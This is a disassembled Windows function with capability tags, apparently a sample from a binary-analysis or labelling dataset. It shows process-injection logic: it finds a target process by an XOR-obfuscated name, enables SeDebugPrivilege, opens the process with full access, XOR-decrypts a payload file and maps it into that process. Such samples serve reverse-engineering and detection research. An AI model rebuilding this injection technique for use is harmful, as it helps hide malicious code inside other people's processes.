Function at 0x140002f30
Capabilities:
Acquire debug privileges
Encode data using xor
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x398]
sub rsp, 0x480
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
lea rcx, [rbp - 0x68]
call fcn.140002cf0
mov r14, rax
cmp qword [rax + 0x18], 0x10
jb 0x140002f7a
mov r14, qword [rax]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140002fb5
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037af
call fcn.140051fd8
xor ebx, ebx
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], bl
movups xmm0, xmmword [str.xPWPM_]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1400a3f50]
movups xmmword [rbp + 0xe0], xmm1
movsd xmm0, qword [0x1400a3f60]
movsd qword [rbp + 0xf0], xmm0
mov eax, dword [0x1400a3f68]
mov dword [rbp + 0xf8], eax
mov ecx, ebx
lea edi, [rbx + 4]
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000313c
movdqa xmm5, xmmword [0x1400a40d0]
movdqa xmm4, xmmword [0x1400a4100]
movd xmm6, edi
movdqa xmm7, xmmword [str.4444]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x1400a40f0]
lea rdx, [rbp + 0xd0]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
pxor xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jl 0x140003050
cmp ecx, 0x16
jge 0x140003181
movsxd rax, ecx
lea r8, [rbp + 0xd0]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul edx, eax, 0x34
add dx, cx
xor word [r8], dx
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x16
jl 0x140003150
mov dword [rbp + 0x100], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
lea rdx, [rbp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140003200
lea rdx, [rbp + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140003200
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x12c]
call fcn.14005b894
mov rcx, rsi
test eax, eax
je 0x1400032d6
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1400031d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, ebx
mov edx, r15d
lea rcx, str.Process_pid:__d_n
call fcn.1400011b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x58], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140003296
mov dword [rsp + 0x78], 1
mov dword [rbp - 0x7c], 2
lea r8, [rsp + 0x7c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000328b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x1400032e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess_failed:_0x_X_n
call fcn.1400011b0
lea rcx, str.PAUSE
call fcn.14005c11c
lea eax, [rsi - 2]
jmp 0x140003733
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, dword [rbp + 0x108]
jmp 0x14000320c
mov dword [rsp + 0x50], ebx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x140003314
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.1400011b0
jmp 0x14000333c
mov dword [rbp + 0x3b8], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x3b8]
cmp dword [rsp + 0x50], eax
je 0x140003367
lea rcx, str.Invalid_Process_Architecture._n
call fcn.1400011b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.PAUSE
call fcn.14005c11c
mov eax, 0xfffffffd
jmp 0x140003733
mov rcx, r14
call fcn.1400011b0
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.140004680
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x30]
test dl, 6
je 0x1400033e3
lea rcx, str.Opening_the_file_failed:__X_n
call fcn.1400011b0
lea rcx, [rbp - 0x30]
call fcn.140004f80
test rax, rax
jne 0x1400033c4
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.1400050b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xfffffffb
lea rcx, str.PAUSE
call fcn.14005c11c
jmp 0x1400036c8
lea rax, [rbp - 0x40]
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp + rcx + 8]
test rcx, rcx
je 0x1400033fc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp - 0x40]
call fcn.140005350
mov byte [rbp - 0x70], al
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x30], 6
jne 0x140003448
mov rcx, qword [rbp + rcx + 8]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x60]
call qword [rax + 0x50]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 8]
jmp 0x140003462
mov qword [rsp + 0x60], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax + 8]
test rcx, rcx
je 0x14000346e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov rcx, qword [rsp + 0x60]
add rcx, qword [rsp + 0x68]
cmp rcx, 0x1000
jge 0x1400034d7
lea rcx, str.Filesize_invalid._n
call fcn.1400011b0
lea rcx, [rbp - 0x30]
call fcn.140004f80
test rax, rax
jne 0x1400034b8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.1400050b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xfffffffa
lea rcx, str.PAUSE
call fcn.14005c11c
jmp 0x1400036c8
call fcn.14005226c
mov r14, rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov eax, dword [rbp + rcx - 0x30]
cmp qword [rbp + rcx + 8], 0
cmovne edi, ebx
and eax, 0xfffffffe
or edi, eax
and edi, 0x17
mov dword [rbp + rcx - 0x30], edi
and edi, dword [rbp + rcx - 0x2c]
jne 0x140003764
lea rax, [rbp - 0x40]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 8]
test rcx, rcx
je 0x14000352b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp - 0x40]
call fcn.140005350
mov byte [rbp - 0x70], al
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x30], 6
jne 0x14000358f
mov rcx, qword [rbp + rcx + 8]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x68]
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x60]
add rcx, qword [rbp - 0x68]
cmp rcx, 0xffffffffffffffff
jne 0x14000358f
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.1400050b0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 8]
test rcx, rcx
je 0x1400035a8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov r8, qword [rsp + 0x68]
add r8, qword [rsp + 0x60]
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.140004940
lea rcx, [rbp - 0x30]
call fcn.140004f80
test rax, rax
jne 0x1400035e9
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.1400050b0
mov rdx, rbx
mov r10, qword [rsp + 0x68]
add r10, qword [rsp + 0x60]
je 0x140003634
mov r8, r14
mov r9, qword [0x1400b0b98]
movzx eax, byte [r8]
xor al, byte [rdx + r9]
mov byte [r8], al
mov rcx, qword [0x1400b0ba0]
mov r9, qword [0x1400b0b98]
sub rcx, r9
dec rcx
lea rax, [rdx + 1]
xor edx, edx
div rcx
lea r8, [r8 + 1]
sub r10, 1
jne 0x140003602
lea rcx, str.Mapping..._n
call fcn.1400011b0
mov r9, qword [rsp + 0x68]
add r9, qword [rsp + 0x60]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x40], 1
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r8, r14
mov rdx, rsi
mov ecx, r15d
call fcn.140001200
mov rcx, r14
test al, al
jne 0x1400036ad
call fcn.140051fd8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Error_while_mapping._n
call fcn.1400011b0
lea rcx, str.PAUSE
call fcn.14005c11c
mov ebx, 0xfffffff8
jmp 0x1400036c8
call fcn.140051fd8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1400a3eb8]
call fcn.1400011b0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.1400043d0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rcx, qword [rbp - 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx - 0x44], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.14005170c
nop
mov eax, ebx
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
test dil, 4
je 0x140003773
lea rdx, str.ios_base::badbit_set
jmp 0x140003789
test dil, 2
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140002330
mov r8, rax
lea rcx, [rbp - 0x68]
call fcn.140002b90
lea rdx, [0x1400ac328]
lea rcx, [rbp - 0x68]
call fcn.140054b1c
nop
call fcn.14005db00
int3